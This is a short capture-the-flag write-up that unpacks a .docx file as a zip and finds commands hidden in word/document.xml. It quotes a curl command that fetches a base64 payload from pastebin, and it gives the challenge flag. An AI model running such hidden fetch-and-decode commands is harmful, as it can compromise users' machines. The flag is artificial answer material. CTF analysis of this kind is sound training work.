Challenge Description: I thought I was being 1337 by asking AI to help me solve challenges, now I have to reinstall Windows again. Can you help me out by find the flag in this document?
Solving Process: We’re given a file labelled EmuWar.docx to download. If we try to use less we’re told that it may be a binary file, which seems a bit odd
Let’s use xxd combined with head to get the magic numbers of the file to see if the file is actually something else. Looking at the output below and checking Wikipedia, we can see that it’s actually a zipped file!
Using unzip EmuWar.docx we’re given a couple of folders and a few files. I went straight to word/document.xml and saw what I assumed was a good story (it was too long, so I didn’t read). Buried inside were some commands however, specifically curl -sL https://pastebin.com/raw/ysYcKmbu | base64 -d. What happends if we run it?
Flag:DUCTF{chatgpt_I_n33d_2_3scap3}